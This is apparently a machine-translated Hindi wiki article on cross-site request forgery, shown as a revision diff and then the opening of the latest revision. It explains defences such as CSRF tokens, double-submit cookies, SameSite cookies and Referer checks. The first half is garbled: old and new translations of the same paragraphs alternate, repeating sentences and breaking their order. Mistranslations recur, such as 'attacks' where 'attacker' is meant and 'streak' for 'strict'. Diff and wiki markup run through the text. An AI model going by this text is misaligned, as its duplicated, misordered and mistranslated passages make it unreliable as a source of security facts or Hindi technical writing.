इस तकनीक की सुरक्षा इस धारणा पर आधारित है कि केवल सर्वर पर एचटीटीपीएस कनेक्शन के क्लाइंट साइड पर चलने वाली जावास्क्रिप्ट जो प्रारंभ में कुकी सेट करती है, कुकी के मान को पढ़ने में सक्षम होती है। किसी रोगे फ़ाइल या ईमेल से चलने वाली जावास्क्रिप्ट कस्टम हेडर में कॉपी करने के लिए कुकी मान को सफलतापूर्वक पढ़ने में सक्षम नहीं होनी चाहिए। यहां तक ​​कि तथापि {{mono|csrf-token}} कुकी स्वचालित रूप से रोगे रिक्वेस्ट के साथ भेजी जा सकती है, कुकी सेमसाइट नीति के अधीन, सर्वर अभी भी वैलिड की अपेक्षा करेगा {{mono|X-Csrf-Token}} शीर्ष लेख.


X-Csrf-टोकन: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
सीएसआरएफ टोकन स्वयं अद्वितीय और अप्रत्याशित होना चाहिए। इसे यादृच्छिक रूप से उत्पन्न किया जा सकता है, या इसे एचएमएसी का उपयोग करके [[सत्र कुकी|सेशन कुकी]] से प्राप्त किया जा सकता है:  


* सर्वर टोकन की उपस्थिति और अखंडता को मान्य करता है
csrf_token = HMAC(session_token, application_secret)


इस तकनीक की सुरक्षा इस धारणा पर आधारित है कि केवल सर्वर पर HTTPS कनेक्शन के क्लाइंट साइड पर चलने वाली जावास्क्रिप्ट जो शुरू में कुकी सेट करती है, कुकी के मूल्य को पढ़ने में सक्षम होगी। किसी दुष्ट फ़ाइल या ईमेल से चलने वाली जावास्क्रिप्ट कस्टम हेडर में कॉपी करने के लिए कुकी मान को सफलतापूर्वक पढ़ने में सक्षम नहीं होनी चाहिए। यहां तक ​​कि भले ही {{mono|csrf-token}} कुकी स्वचालित रूप से दुष्ट अनुरोध के साथ भेजी जा सकती है, कुकी सेमसाइट नीति के अधीन, सर्वर अभी भी वैध की अपेक्षा करेगा {{mono|X-Csrf-Token}} शीर्ष लेख.
सीएसआरएफ टोकन कुकी में [[httpOnly]] फ़्लैग नहीं होना चाहिए, क्योंकि इसे डिज़ाइन द्वारा जावास्क्रिप्ट द्वारा पढ़ने का अभिप्राय है।


सीएसआरएफ टोकन स्वयं अद्वितीय और अप्रत्याशित होना चाहिए। इसे यादृच्छिक रूप से उत्पन्न किया जा सकता है, या इसे HMAC का उपयोग करके [[सत्र कुकी]] से प्राप्त किया जा सकता है:
यह तकनीक अनेक आधुनिक फ़्रेमवर्क जैसे जैंगो (वेब ​​फ़्रेमवर्क) और [[AngularJS|एंगुलरजेएस]] द्वारा कार्यान्वित की जाती है,<ref>{{cite web | url=https://docs.djangoproject.com/en/1.7/ref/contrib/csrf/ | title=क्रॉस साइट अनुरोध जालसाजी संरक्षण| publisher=Django | access-date=2015-01-20 | archive-url=https://web.archive.org/web/20150120134602/https://docs.djangoproject.com/en/1.7/ref/contrib/csrf/ | archive-date=2015-01-20 | url-status=dead }}</ref> <ref>{{cite web | url=https://docs.angularjs.org/api/ng/service/$http#cross-site-request-forgery-xsrf-protection | title=क्रॉस साइट अनुरोध जालसाजी (XSRF) सुरक्षा| publisher=AngularJS | access-date=2015-01-20}}</ref> क्योंकि टोकन पूरे उपयोगकर्ता सेशन में स्थिर रहता है, यह [[AJAX|एजेएएक्स]] एप्लिकेशनों के साथ उचित प्रकार से कार्य करता है, किन्तु वेब एप्लिकेशन में घटनाओं के अनुक्रम को प्रयुक्त नहीं करता है।


सीएसआरएफ_टोकन = [[एचएमएसी]](सत्र_टोकन, एप्लिकेशन_सीक्रेट)
यदि टारगेट वेबसाइट निम्नलिखित तकनीकों में से किसी का उपयोग करके अपनी समान-मूल नीति को अक्षम कर देती है, तो इस तकनीक द्वारा प्रदान की गई सुरक्षा को विफल किया जा सकता है:


सीएसआरएफ टोकन कुकी में [[httpOnly]] फ़्लैग नहीं होना चाहिए, क्योंकि इसे डिज़ाइन द्वारा जावास्क्रिप्ट द्वारा पढ़ने का इरादा है।
* {{mono|clientaccesspolicy.xml}} सिल्वरलाइट नियंत्रणों तक अनपेक्षित पहुंच प्रदान करती है।<ref>{{cite web|url=http://msdn.microsoft.com/en-us/library/cc197955.aspx|title=Making a Service Available Across Domain Boundaries}}</ref>
 
* {{mono|crossdomain.xml}} फ्लैश फिल्मों तक अनपेक्षित पहुंच प्रदान करने वाली फ़ाइल है।<ref>{{cite web|url=https://www.adobe.com/devnet/flashplayer/articles/cross_domain_policy.html|title=फ़्लैश प्लेयर के लिए क्रॉस-डोमेन नीति फ़ाइल उपयोग अनुशंसाएँ - एडोब डेवलपर कनेक्शन|first=Lucas|last=Adamski}}</ref>
यह तकनीक कई आधुनिक ढाँचों द्वारा कार्यान्वित की जाती है, जैसे Django (वेब ​​ढाँचा)<ref>{{cite web | url=https://docs.djangoproject.com/en/1.7/ref/contrib/csrf/ | title=क्रॉस साइट अनुरोध जालसाजी संरक्षण| publisher=Django | access-date=2015-01-20 | archive-url=https://web.archive.org/web/20150120134602/https://docs.djangoproject.com/en/1.7/ref/contrib/csrf/ | archive-date=2015-01-20 | url-status=dead }}</ref> और [[AngularJS]].<ref>{{cite web | url=https://docs.angularjs.org/api/ng/service/$http#cross-site-request-forgery-xsrf-protection | title=क्रॉस साइट अनुरोध जालसाजी (XSRF) सुरक्षा| publisher=AngularJS | access-date=2015-01-20}}</ref> क्योंकि टोकन पूरे उपयोगकर्ता सत्र में स्थिर रहता है, यह [[AJAX]] अनुप्रयोगों के साथ अच्छी तरह से काम करता है, लेकिन वेब एप्लिकेशन में घटनाओं के अनुक्रम को लागू नहीं करता है।
 
यदि लक्ष्य वेबसाइट निम्नलिखित तकनीकों में से किसी का उपयोग करके अपनी समान-मूल नीति को अक्षम कर देती है, तो इस तकनीक द्वारा प्रदान की गई सुरक्षा को विफल किया जा सकता है:
 
* {{mono|clientaccesspolicy.xml}} सिल्वरलाइट नियंत्रणों तक अनपेक्षित पहुंच प्रदान करने वाली फ़ाइल<ref>{{cite web|url=http://msdn.microsoft.com/en-us/library/cc197955.aspx|title=Making a Service Available Across Domain Boundaries}}</ref>
* {{mono|crossdomain.xml}} फ्लैश फिल्मों तक अनपेक्षित पहुंच प्रदान करने वाली फ़ाइल<ref>{{cite web|url=https://www.adobe.com/devnet/flashplayer/articles/cross_domain_policy.html|title=फ़्लैश प्लेयर के लिए क्रॉस-डोमेन नीति फ़ाइल उपयोग अनुशंसाएँ - एडोब डेवलपर कनेक्शन|first=Lucas|last=Adamski}}</ref>




===डबल सबमिट कुकी===
===डबल सबमिट कुकी===


कुकी-टू-हेडर दृष्टिकोण के समान, लेकिन जावास्क्रिप्ट को शामिल किए बिना, साइट सीएसआरएफ टोकन को कुकी के रूप में सेट कर सकती है, और इसे प्रत्येक HTML फॉर्म में छिपे हुए फ़ील्ड के रूप में भी डाल सकती है। जब फॉर्म सबमिट किया जाता है, तो साइट जांच कर सकती है कि कुकी टोकन फॉर्म टोकन से मेल खाता है या नहीं। समान-मूल नीति किसी हमलावर को लक्ष्य डोमेन पर कुकीज़ पढ़ने या सेट करने से रोकती है, इसलिए वे अपने तैयार किए गए फॉर्म में वैध टोकन नहीं डाल सकते हैं।<ref>{{cite web|url=https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html#double-submit-cookie|title=डबल सबमिट कुकी रक्षा|publisher=OWASP}}</ref>
इस प्रकार से कुकी-टू-हेडर दृष्टिकोण के समान, किन्तु जावास्क्रिप्ट को सम्मिलित किए बिना, साइट सीएसआरएफ टोकन को कुकी के रूप में सेट कर सकती है, और इसे प्रत्येक एचटीएमएल फॉर्म में छिपे हुए फ़ील्ड के रूप में भी डाल सकती है। जब फॉर्म सबमिट किया जाता है, तो साइट चेक कर सकती है कि कुकी टोकन फॉर्म टोकन से मेल खाता है, या नहीं खाता है। जिससे समान-मूल नीति किसी अटैक्स को टारगेट डोमेन पर कुकीज़ पढ़ने या सेट करने से रोकती है, इसलिए वे अपने तैयार किए गए फॉर्म में वैलिड टोकन नहीं डाल सकते हैं।<ref>{{cite web|url=https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html#double-submit-cookie|title=डबल सबमिट कुकी रक्षा|publisher=OWASP}}</ref>


सिंक्रोनाइज़र पैटर्न की तुलना में इस तकनीक का लाभ यह है कि टोकन को सर्वर पर संग्रहीत करने की आवश्यकता नहीं होती है।
अतः सिंक्रोनाइज़र पैटर्न की तुलना में इस तकनीक का लाभ यह है कि टोकन को सर्वर पर संग्रहीत करने की आवश्यकता नहीं होती है।
 
===समान साइट कुकी विशेषता===
 
जब सर्वर कुकी सेट करता है, तो अतिरिक्त सेमसाइट विशेषता शामिल की जा सकती है, जो ब्राउज़र को निर्देश देती है कि कुकी को क्रॉस-साइट अनुरोधों में संलग्न किया जाए या नहीं। यदि यह विशेषता सख्त पर सेट है, तो कुकी केवल उसी साइट अनुरोधों पर भेजी जाएगी, जिससे सीएसआरएफ अप्रभावी हो जाएगा। हालाँकि, इसके लिए ब्राउज़र को विशेषता को पहचानने और सही ढंग से लागू करने की आवश्यकता होती है।<ref>{{cite web|url=https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#SameSite_cookies|title=सेमसाइट कुकीज़|publisher=Mozilla}}</ref>


===सेमसाईट कुकी विशेषता===


जब सर्वर कुकी सेट करता है, तो इसके अतिरिक्त "सेमसाइट" विशेषता सम्मिलित की जा सकती है, जो ब्राउज़र को निर्देश देती है कि कुकी को क्रॉस-साइट रिक्वेस्ट में संलग्न किया जाए या नहीं। यदि यह विशेषता <nowiki>''</nowiki>स्ट्रीक<nowiki>''</nowiki> पर सेट है, तो कुकी केवल उसी साइट रिक्वेस्ट पर भेजी जाएगी, जिससे सीएसआरएफ अप्रभावी हो जाते है। चूंकि, इसके लिए ब्राउज़र को विशेषता को पहचानने और सही रूप से प्रयुक्त करने की आवश्यकता होती है।<ref>{{cite web|url=https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#SameSite_cookies|title=सेमसाइट कुकीज़|publisher=Mozilla}}</ref>
===ग्राहक-पक्ष सुरक्षा उपाय===
===ग्राहक-पक्ष सुरक्षा उपाय===


ब्राउज़र एक्सटेंशन जैसे RequestPolicy ([[मोज़िला फ़ायरफ़ॉक्स]] के लिए) या {{proper name|uMatrix}} (फ़ायरफ़ॉक्स और Google क्रोम/क्रोमियम (वेब ​​​​ब्राउज़र) दोनों के लिए) क्रॉस-साइट अनुरोधों के लिए डिफ़ॉल्ट-अस्वीकार नीति प्रदान करके सीएसआरएफ को रोक सकता है। हालाँकि, यह कई वेबसाइटों के सामान्य संचालन में महत्वपूर्ण हस्तक्षेप कर सकता है। CsFire एक्सटेंशन (फ़ायरफ़ॉक्स के लिए भी) क्रॉस-साइट अनुरोधों से प्रमाणीकरण जानकारी को हटाकर, सामान्य ब्राउज़िंग पर कम प्रभाव के साथ CSRF के प्रभाव को कम कर सकता है।
ब्राउज़र एक्सटेंशन जैसे रिक्वेस्टपॉलिसीय ([[मोज़िला फ़ायरफ़ॉक्स]] के लिए) या {{proper name|uMatrix}} (फ़ायरफ़ॉक्स और गूगल क्रोम/क्रोमियम (वेब ​​​​ब्राउज़र) दोनों के लिए) क्रॉस-साइट रिक्वेस्ट के लिए डिफ़ॉल्ट-अस्वीकार नीति प्रदान करके सीएसआरएफ को रोक सकता है। चूंकि, यह अनेक वेबसाइटों के सामान्य संचालन में महत्वपूर्ण हस्तक्षेप कर सकता है। सीएसफायर एक्सटेंशन (फ़ायरफ़ॉक्स के लिए भी) क्रॉस-साइट रिक्वेस्ट से ओथेन्टिकेटेड डेटा को हटाकर, सामान्य ब्राउज़िंग पर कम प्रभाव के साथ सीएसआरएफ के प्रभाव को कम कर सकता है।


फ़ायरफ़ॉक्स के लिए [[नोस्क्रिप्ट]] एक्सटेंशन अविश्वसनीय साइटों से विश्वसनीय को अलग करके और अविश्वसनीय साइटों द्वारा विश्वसनीय लोगों को भेजे गए POST अनुरोधों से प्रमाणीकरण और पेलोड को हटाकर सीएसआरएफ खतरों को कम करता है। नोस्क्रिप्ट में एप्लिकेशन बाउंड्री एनफोर्सर मॉड्यूल इंटरनेट पेजों से स्थानीय साइटों (जैसे लोकलहोस्ट) पर भेजे गए अनुरोधों को भी ब्लॉक करता है, जिससे स्थानीय सेवाओं (जैसे यूटोरेंट) या राउटर पर सीएसआरएफ के हमलों को रोका जा सकता है।
अतः फ़ायरफ़ॉक्स के लिए [[नोस्क्रिप्ट]] एक्सटेंशन अविश्वसनीय साइटों से विश्वसनीय को अलग करके और अविश्वसनीय साइटों द्वारा विश्वसनीय लोगों को भेजे गए पोस्ट रिक्वेस्ट से ओथेन्टिकेटेड और पेलोड को हटाकर सीएसआरएफ संकट को कम करता है। और नोस्क्रिप्ट में एप्लिकेशन बाउंड्री एनफोर्सर मॉड्यूल इंटरनेट पेजों से स्थानीय साइटों (जैसे लोकलहोस्ट) पर भेजे गए रिक्वेस्ट को भी ब्लॉक करता है, जिससे स्थानीय सेवाओं (जैसे यूटोरेंट) या राउटर पर सीएसआरएफ के अटैक्स को रोका जा सकता है।


फ़ायरफ़ॉक्स के लिए सेल्फ डिस्ट्रक्टिंग कुकीज़ एक्सटेंशन सीधे सीएसआरएफ से रक्षा नहीं करता है, लेकिन कुकीज़ को हटाकर, जैसे ही वे खुले टैब से संबद्ध नहीं होते हैं, हमले की विंडो को कम कर सकता है।
चूंकि फ़ायरफ़ॉक्स के लिए सेल्फ डिस्ट्रक्टिंग कुकीज़ एक्सटेंशन सीधे सीएसआरएफ से रक्षा नहीं करता है, किन्तु कुकीज़ को हटाकर, जैसे ही वे ओपन टैब से संबद्ध नहीं होते हैं, किन्तु अटैक की विंडो को कम कर सकता है।


===अन्य तकनीकें===
===अन्य तकनीकें===


ऐतिहासिक रूप से सीएसआरएफ की रोकथाम के लिए कई अन्य तकनीकों का उपयोग या प्रस्ताव किया गया है:
इस प्रकार से ऐतिहासिक रूप से सीएसआरएफ की रोकथाम के लिए अनेक अन्य तकनीकों का उपयोग या प्रस्ताव किया गया है:


* यह सत्यापित करना कि अनुरोध के शीर्षलेखों में शामिल है <code>X-Requested-With</code> (v2.0 से पहले [[रूबी ऑन रेल्स]] द्वारा और v1.2.5 से पहले Django (वेब ​​फ्रेमवर्क) द्वारा उपयोग किया जाता है), या HTTP की जाँच कर रहा है <code>Referer</code> हेडर और/या HTTP <code>Origin</code> शीर्षक.<ref>[https://people.mozilla.org/~bsterne/content-security-policy/origin-header-proposal.html Origin Header Proposal] {{Webarchive|url=https://web.archive.org/web/20160308045123/http://people.mozilla.org/~bsterne/content-security-policy/origin-header-proposal.html |date=2016-03-08 }}. People.mozilla.org. Retrieved on 2013-07-29.</ref> हालाँकि, यह असुरक्षित है - ब्राउज़र प्लगइन्स और रीडायरेक्ट का संयोजन हमलावर को किसी भी वेबसाइट के अनुरोध पर कस्टम HTTP हेडर प्रदान करने की अनुमति दे सकता है, जिससे जाली अनुरोध की अनुमति मिलती है।<ref>{{cite web|title=Django 1.2.5 release notes|url=https://www.djangoproject.com/weblog/2011/feb/08/security/|work=Django}}</ref><ref>{{cite web|url=https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29|title=क्रॉस-साइट अनुरोध जालसाजी (सीएसआरएफ)|date=4 September 2012|work=OWASP, The Open Web Application Security Project|access-date=11 September 2012}}</ref>
* यह सत्यापित करना कि रिक्वेस्ट के शीर्षलेखों में सम्मिलित है <code>X-Requested-With</code> (v2.0 से पहले [[रूबी ऑन रेल्स]] द्वारा और v1.2.5 से पहले जैंगो (वेब ​​फ्रेमवर्क) द्वारा उपयोग किया जाता है), या एचटीटीपी की जाँच कर रहा है <code>Referer</code> हेडर और/या एचटीटीपी <code>Origin</code> हेडर.<ref>[https://people.mozilla.org/~bsterne/content-security-policy/origin-header-proposal.html Origin Header Proposal] {{Webarchive|url=https://web.archive.org/web/20160308045123/http://people.mozilla.org/~bsterne/content-security-policy/origin-header-proposal.html |date=2016-03-08 }}. People.mozilla.org. Retrieved on 2013-07-29.</ref> चूंकि, यह असुरक्षित है - ब्राउज़र प्लगइन्स और रीडायरेक्ट का संयोजन अटैक्स को किसी भी वेबसाइट के रिक्वेस्ट पर कस्टम एचटीटीपी हेडर प्रदान करने की अनुमति दे सकता है, जिससे जाली रिक्वेस्ट की अनुमति मिलती है।<ref>{{cite web|title=Django 1.2.5 release notes|url=https://www.djangoproject.com/weblog/2011/feb/08/security/|work=Django}}</ref><ref>{{cite web|url=https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29|title=क्रॉस-साइट अनुरोध जालसाजी (सीएसआरएफ)|date=4 September 2012|work=OWASP, The Open Web Application Security Project|access-date=11 September 2012}}</ref>
* HTTP रेफरर|HTTP की जाँच करना <code>Referer</code> हेडर यह देखने के लिए कि क्या अनुरोध किसी अधिकृत पृष्ठ से आ रहा है, आमतौर पर एम्बेडेड नेटवर्क उपकरणों के लिए उपयोग किया जाता है क्योंकि यह मेमोरी आवश्यकताओं को नहीं बढ़ाता है। हालाँकि, अनुरोध जो इसे छोड़ देता है <code>Referer</code> हेडर को अनधिकृत माना जाना चाहिए क्योंकि कोई हमलावर इसे दबा सकता है <code>Referer</code> एफ़टीपी या एचटीटीपीएस यूआरएल से अनुरोध जारी करके हेडर। यह सख्त <code>Referer</code> सत्यापन उन ब्राउज़रों या प्रॉक्सी के साथ समस्याएँ पैदा कर सकता है जो इसे छोड़ देते हैं <code>Referer</code> गोपनीयता कारणों से शीर्षलेख. साथ ही, फ़्लैश के पुराने संस्करण (9.0.18 से पहले) दुर्भावनापूर्ण फ़्लैश को [[HTTP प्रतिक्रिया विभाजन]] का उपयोग करके मनमाने ढंग से HTTP अनुरोध हेडर के साथ GET या POST अनुरोध उत्पन्न करने की अनुमति देते हैं।<ref>{{cite web|url=https://secunia.com/advisories/22467/|title=Secunia Advisory SA22467|date=19 October 2006|publisher=Secunia|access-date=11 September 2012}}</ref> क्लाइंट में समान सीआरएलएफ इंजेक्शन कमजोरियों का उपयोग HTTP अनुरोध के रेफरर को धोखा देने के लिए किया जा सकता है।
* एचटीटीपी रेफरर एचटीटीपी की जाँच करना <code>Referer</code> हेडर यह देखने के लिए कि क्या रिक्वेस्ट किसी अधिकृत पेज से आ रहा है, सामान्यतः एम्बेडेड नेटवर्क डिवाइस के लिए उपयोग किया जाता है क्योंकि यह मेमोरी आवश्यकताओं को नहीं बढ़ाता है। चूंकि, रिक्वेस्ट जो <code>Referer</code> हेडर को छोड़ देता है अनधिकृत माना जाना चाहिए क्योंकि कोई <code>Referer हेडर</code> एफ़टीपी या एचटीटीपीएस यूआरएल से रिक्वेस्ट रेलीज़ड करके अटैक्स इसे दबा सकता है । यह स्ट्रीक <code>Referer</code> सत्यापन उन ब्राउज़रों या प्रॉक्सी के साथ समस्याएँ उत्पन्न कर सकता है जो <code>Referer हेडर</code>गोपनीयता कारणों से इसे छोड़ देते हैं। साथ ही, फ़्लैश के पुराने संस्करण (9.0.18 से पहले) मालिसियस फ़्लैश को [[HTTP प्रतिक्रिया विभाजन|एचटीटीपी प्रतिक्रिया विभाजन]] का उपयोग करके इच्छानुसार रूप से एचटीटीपी रिक्वेस्ट हेडर के साथ जीईटी या पोस्ट रिक्वेस्ट उत्पन्न करने की अनुमति देते हैं।<ref>{{cite web|url=https://secunia.com/advisories/22467/|title=Secunia Advisory SA22467|date=19 October 2006|publisher=Secunia|access-date=11 September 2012}}</ref> और क्लाइंट में समान सीआरएलएफ इंजेक्शन दुर्बलता का उपयोग एचटीटीपी रिक्वेस्ट के रेफरर को धोखा देने के लिए किया जा सकता है।
* कुछ समय के लिए POST [[अनुरोध विधि]] को यूआरएल में पैरामीटर (जीईटी विधि का उपयोग करके) का उपयोग करके मामूली सीएसआरएफ हमलों के प्रति प्रतिरोधी माना जाता था। हालाँकि, POST और किसी अन्य HTTP विधि दोनों को अब XMLHttpRequest का उपयोग करके आसानी से निष्पादित किया जा सकता है। अप्रत्याशित GET अनुरोधों को फ़िल्टर करना अभी भी कुछ विशेष हमलों को रोकता है, जैसे दुर्भावनापूर्ण छवि यूआरएल या लिंक पते का उपयोग करके क्रॉस-साइट हमले और क्रॉस-साइट सूचना रिसाव <code>&lt;script></code> तत्व (जावास्क्रिप्ट अपहरण); यह आक्रामक [[वेब क्रॉलर]] और [[लिंक प्रीफेचिंग]] के साथ (गैर-सुरक्षा-संबंधी) समस्याओं को भी रोकता है।<ref name="Shiflett" />
* कुछ समय के लिए पोस्ट रिक्वेस्ट [[अनुरोध विधि|मेथेड]] को यूआरएल में पैरामीटर (जीईटी विधि का उपयोग करके) का उपयोग करके सामान्य सीएसआरएफ अटैक्स के प्रति प्रतिरोधी माना जाता था। चूंकि, पोस्ट और किसी अन्य एचटीटीपी विधि दोनों को अब XMLHttpRequests का उपयोग करके सरलता से निष्पादित किया जा सकता है। और अप्रत्याशित जीईटी रिक्वेस्ट को फ़िल्टर करना अभी भी कुछ विशेष अटैक्स को रोकता है, जैसे मालिसियस इमेज यूआरएल या लिंक एड्रेस का उपयोग करके क्रॉस-साइट अटैक और क्रॉस-साइट सूचना लीकेज <code>&lt;script></code> तत्व (जावास्क्रिप्ट हाईजैकिंग); यह आक्रामक [[वेब क्रॉलर]] और [[लिंक प्रीफेचिंग]] के साथ (नॉन-सिक्यूरिटी-रिलेटेड) समस्याओं को भी रोकता है।<ref name="Shiflett" />


क्रॉस-साइट स्क्रिप्टिंग (XSS) कमजोरियाँ (यहां तक ​​कि ही डोमेन पर चलने वाले अन्य अनुप्रयोगों में भी) हमलावरों को अनिवार्य रूप से सभी CSRF रोकथामों को बायपास करने की अनुमति देती हैं।<ref>{{cite web|url=http://www.webappsecblog.com/CsrfAndSameOriginXss.html|title=सीएसआरएफ और समान-मूल XSS|first=Christian|last=Schneider|access-date=2012-04-21|archive-url=https://web.archive.org/web/20120814151512/http://www.webappsecblog.com/CsrfAndSameOriginXss.html|archive-date=2012-08-14|url-status=dead}}</ref>
इस प्रकार से क्रॉस-साइट स्क्रिप्टिंग (एक्सएसएस ) निर्बलता (यहां तक ​​कि ही डोमेन पर चलने वाले अन्य एप्लिकेशनों में भी) अटैक्सों को अनिवार्य रूप से सभी सीएसआरएफ रोकथामों को अनदेखा करने की अनुमति देती हैं।<ref>{{cite web|url=http://www.webappsecblog.com/CsrfAndSameOriginXss.html|title=सीएसआरएफ और समान-मूल XSS|first=Christian|last=Schneider|access-date=2012-04-21|archive-url=https://web.archive.org/web/20120814151512/http://www.webappsecblog.com/CsrfAndSameOriginXss.html|archive-date=2012-08-14|url-status=dead}}</ref>
==यह भी देखें==
==यह भी देखें==


* [[उल्लंघन]]
* [[उल्लंघन|ब्रीच]]
* [[भ्रमित डिप्टी समस्या]]
* [[भ्रमित डिप्टी समस्या|कन्फ्यूज्ड डिप्टी समस्या]]
* [[अपराध]]
* [[अपराध|क्राइम]]  
* [[वेब मैसेजिंग]]
* [[वेब मैसेजिंग]]
* [[ढेर छिड़काव]]
* [[ढेर छिड़काव|हीप स्प्रेइंग]]
* हमले को फिर से खेलना
* रिप्लाई अटैक
* सत्र निर्धारण
* सेशन फिक्सेशन
* एप्लिकेशन सुरक्षा
* एप्लिकेशन सिक्यूरिटी


==संदर्भ==
==संदर्भ==
Line 170: Line 167:
* [https://web.archive.org/web/20090914043521/http://projects.webappsec.org/Cross-Site+Request+Forgery Cross-Site Request Forgery from The Web Application Security Consortium Threat Classification Project]
* [https://web.archive.org/web/20090914043521/http://projects.webappsec.org/Cross-Site+Request+Forgery Cross-Site Request Forgery from The Web Application Security Consortium Threat Classification Project]


{{DEFAULTSORT:Cross-Site Request Forgery}}[[Category: वेब सुरक्षा शोषण]]
{{DEFAULTSORT:Cross-Site Request Forgery}}
 
 


[[Category: Machine Translated Page]]
[[Category:CS1 English-language sources (en)]]
[[Category:Created On 10/07/2023]]
[[Category:Created On 10/07/2023|Cross-Site Request Forgery]]
[[Category:Lua-based templates|Cross-Site Request Forgery]]
[[Category:Machine Translated Page|Cross-Site Request Forgery]]
[[Category:Pages with script errors|Cross-Site Request Forgery]]
[[Category:Pages with syntax highlighting errors]]
[[Category:Short description with empty Wikidata description|Cross-Site Request Forgery]]
[[Category:Templates Vigyan Ready|Cross-Site Request Forgery]]
[[Category:Templates that add a tracking category|Cross-Site Request Forgery]]
[[Category:Templates that generate short descriptions|Cross-Site Request Forgery]]
[[Category:Templates using TemplateData|Cross-Site Request Forgery]]
[[Category:Webarchive template wayback links]]
[[Category:वेब सुरक्षा शोषण|Cross-Site Request Forgery]]

Latest revision as of 11:27, 21 August 2023

क्रॉस-साइट रिक्वेस्ट जालसाजी, जिसे वन-क्लिक अटैक या सेशन राइडिंग के रूप में भी जाना जाता है। और इसे संक्षिप्त रूप में सीएसआरएफ (कभी-कभी सी-सर्फ कहा जाता है) या एक्सएसआरएफ कहा जाता है,[1] या वेबसाइट या वेब एप्लिकेशन का प्रकार का मालिसियस एक्सप्लॉइट (कंप्यूटर) है। जहां उपयोगकर्ता (कंप्यूटिंग) से अनधिकृत कमांड सबमिट किए जाते हैं। जिस पर वेब एप्लिकेशन विश्वास करता है।[2] इस प्रकार से ऐसी अनेक विधि हैं। जिनसे कोई मालिसियस वेबसाइट ऐसे आदेश प्रसारित कर सकती है; उदाहरण के लिए, विशेष रूप से तैयार किए गए इमेज टैग्स, छिपे हुए फॉर्म और जावास्क्रिप्ट फ़ेच विकल्प या XMLHttpRequests, ये सभी उपयोगकर्ता की कोन्वर्सेसन या नॉलेज के बिना भी कार्य कर सकते हैं। इस प्रकार से क्रॉस साइट स्क्रिप्टिंग (एक्सएसएस) के विपरीत, जो किसी विशेष साइट के लिए उपयोगकर्ता के विश्वास का लाभ उठाता है, सीएसआरएफ उस विश्वास का लाभ उठाता है। जो की साइट उपयोगकर्ता के ब्राउज़र में रखती है।[3] सीएसआरएफ अटैक में, निर्दोष अंतिम उपयोगकर्ता को अटैक्स द्वारा वेब रिक्वेस्ट सबमिट करने के लिए भटकाया जाता है, जिसका उनका अभिप्राय नहीं था। इससे वेबसाइट पर ऐसी क्रियाएँ हो सकती हैं जिनमें इंडवेरटेन्ट क्लाइंट या सर्वर डेटा लीकेज, सेशन स्थिति में परिवर्तन, या अंतिम उपयोगकर्ता के अकाउंट में परिवर्तन सम्मिलित हो सकता है।

इस प्रकार से सीएसआरएफ शब्द का उपयोग सीएसआरएफ अटैक्स के अधीन बचाव में संक्षिप्त नाम के रूप में भी किया जाता है, जैसे कि ऐसी तकनीकें जो ऐसे अटैक्स का परीक्षण करने और रोकने के लिए हेडर डेटा, फॉर्म डेटा या कुकीज़ का उपयोग करती हैं।

विशेषताएँ

सीएसआरएफ अटैक में, अटैक्स का टारगेट निर्दोष विक्टिम को इंडवेरटेन्ट में उस वेबसाइट पर मालिसियस रूप से तैयार किए गए वेब रिक्वेस्ट को सबमिट करने के लिए प्रेरित करना है, जिस तक विक्टिम के पास विशेषाधिकार प्राप्त पहुंच है। इस वेब रिक्वेस्ट को यूआरएल पैरामीटर, कुकीज़ और अन्य डेटा को सम्मिलित करने के लिए तैयार किया जा सकता है। जो रिक्वेस्ट को संसाधित करने वाले वेब सर्वर के लिए सामान्य प्रतीत होते हैं। इस प्रकार से रिस्क में वे वेब एप्लिकेशन हैं, जो विशिष्ट निरूपण के लिए उपयोगकर्ता को प्राधिकरण (जैसे पॉपअप पुष्टिकरण के माध्यम से) की आवश्यकता के बिना विश्वसनीय और ओथेन्टिकेटेड उपयोगकर्ताओं से इनपुट के आधार पर कार्य करते हैं। किन्तु उपयोगकर्ता जो उपयोगकर्ता के वेब ब्राउज़र में सेव्ड की गई एचटीटीपी कुकी द्वारा प्रमाणित है, और इंडवेरटेन्ट में उस साइट पर एचटीटीपी रिक्वेस्ट भेज सकता है। जो की उपयोगकर्ता पर विश्वास करती है। और इस तरह अवांछित निरूपण का कारण बन सकती है।

किन्तु वेब ब्राउज़र की जनरल प्रॉपर्टी यह है कि वे स्वचालित रूप से और इंविसिबली रूप से उस डोमेन पर भेजे गए किसी भी वेब रिक्वेस्ट में किसी दिए गए डोमेन द्वारा उपयोग की जाने वाली किसी भी कुकीज़ (सेशन कुकीज़ और अन्य सहित) को सम्मिलित करते है। और सीएसआरएफ अटैक्स द्वारा इस प्रॉपर्टी को दमन किया जाता है। ऐसी स्थिति में जब किसी उपयोगकर्ता को अपने ब्राउज़र के माध्यम से इंडवेरटेन्ट में रिक्वेस्ट सबमिट करने के लिए धोखा दिया जाता है, तो ये स्वचालित रूप से सम्मिलित विक्टिम के अकाउंट में परिवर्तन कुकीज़ वेब सर्वर पर जाली रिक्वेस्ट को वास्तविक दिखने का कारण बनेंगी और यह डेटा लौटाने, सेशन स्थिति में परिवर्तन करने या बनाने सहित कोई भी उचित अनुरोधित निरूपण करता है।

